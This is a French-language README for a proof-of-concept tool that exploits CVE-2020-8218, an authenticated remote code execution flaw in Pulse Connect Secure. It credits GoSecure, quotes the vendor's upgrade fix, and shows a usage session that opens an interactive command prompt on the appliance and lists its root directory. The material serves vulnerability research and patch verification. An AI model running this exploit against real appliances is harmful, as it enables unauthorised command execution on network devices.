
Outil pour tester l'existence de CVE-2020-8218
_____ _____ _____ _____ _____
/\ \ /\ \ /\ \ /\ \ /\ \
/::\ \ /::\____\ /::\____\ /::\ \ /::\ \
/::::\ \ /:::/ / /:::/ / /::::\ \ /::::\ \
/::::::\ \ /:::/ / /:::/ / /::::::\ \ /::::::\ \
/:::/\:::\ \ /:::/ / /:::/ / /:::/\:::\ \ /:::/\:::\ \
/:::/__\:::\ \ /:::/ / /:::/ / /:::/__\:::\ \ /:::/__\:::\ \
/::::\ \:::\ \ /:::/ / /:::/ / \:::\ \:::\ \ /::::\ \:::\ \
/::::::\ \:::\ \ /:::/ / _____ /:::/ / ___\:::\ \:::\ \ /::::::\ \:::\ \
/:::/\:::\ \:::\____\ /:::/____/ /\ \ /:::/ / /\ \:::\ \:::\ \ /:::/\:::\ \:::\ \
/:::/ \:::\ \:::| ||:::| / /::\____\/:::/____/ /::\ \:::\ \:::\____\/:::/__\:::\ \:::\____\
\::/ \:::\ /:::|____||:::|____\ /:::/ /\:::\ \ \:::\ \:::\ \::/ /\:::\ \:::\ \::/ /
\/_____/\:::\/:::/ / \:::\ \ /:::/ / \:::\ \ \:::\ \:::\ \/____/ \:::\ \:::\ \/____/
\::::::/ / \:::\ \ /:::/ / \:::\ \ \:::\ \:::\ \ \:::\ \:::\ \
\::::/ / \:::\ /:::/ / \:::\ \ \:::\ \:::\____\ \:::\ \:::\____\
\::/____/ \:::\__/:::/ / \:::\ \ \:::\ /:::/ / \:::\ \::/ /
~~ \::::::::/ / \:::\ \ \:::\/:::/ / \:::\ \/____/
\::::::/ / \:::\ \ \::::::/ / \:::\ \
\::::/ / \:::\____\ \::::/ / \:::\____\
\::/____/ \::/ / \::/ / \::/ /
~~ \/____/ \/____/ \/____/
Outil de preuve de concept pour tester l'existence de la RCE Pulse Secure (CVE-2020-8218) et encourager des recherches supplémentaires. Cet outil a été construit autour du POC de l'avis de GoSecure. Tout le crédit leur revient pour cette découverte.
Comme recommandé par Pulse Secure : "La solution pour ces vulnérabilités consiste à mettre à niveau les logiciels serveur Pulse Connect Secure et Pulse Policy Secure vers la version 9.1R8. Cette version PCS/PPS peut être téléchargée depuis https://my.pulsesecure.net."
Example usage:
withdk@hogwarts source % python pulse-gosecure-rce.py -u https://192.168.1.120 --user admin --password mypassword
[*] Successfully logged in
(Cmd) ls /
[*] Sending cmd ls /
[*] Sending exploit...
[*] Getting output...
******************************************
2.6.32.358-x86_64
bin
boot
cgroups
data
dev
etc
home
lib
lib64
modules
opt
pkg
proc
runtime
sbin
sys
tmp
usr
va
var
webserver
******************************************
(Cmd) exit
Bye
[*] Getting logout URL
[*] Sending logout URL
[*] Successfully logged out.
DK @withdk
Septembre 2020
LE LOGICIEL EST FOURNI « EN L'ÉTAT », SANS GARANTIE D'AUCUNE SORTE, EXPRESSE OU IMPLICITE, Y COMPRIS MAIS SANS S'Y LIMITER AUX GARANTIES DE QUALITÉ MARCHANDE, D'ADÉQUATION À UN USAGE PARTICULIER ET D'ABSENCE DE CONTREFAÇON. EN AUCUN CAS LES AUTEURS OU TITULAIRES DU DROIT D'AUTEUR NE SERONT RESPONSABLES DE TOUTE RÉCLAMATION, DOMMAGE OU AUTRE RESPONSABILITÉ, QUE CE SOIT DANS LE CADRE D'UNE ACTION CONTRACTUELLE, DÉLICTUELLE OU AUTRE, DÉCOULANT DE, OU EN LIEN AVEC, LE LOGICIEL OU L'UTILISATION OU AUTRES TRANSACTIONS DU LOGICIEL.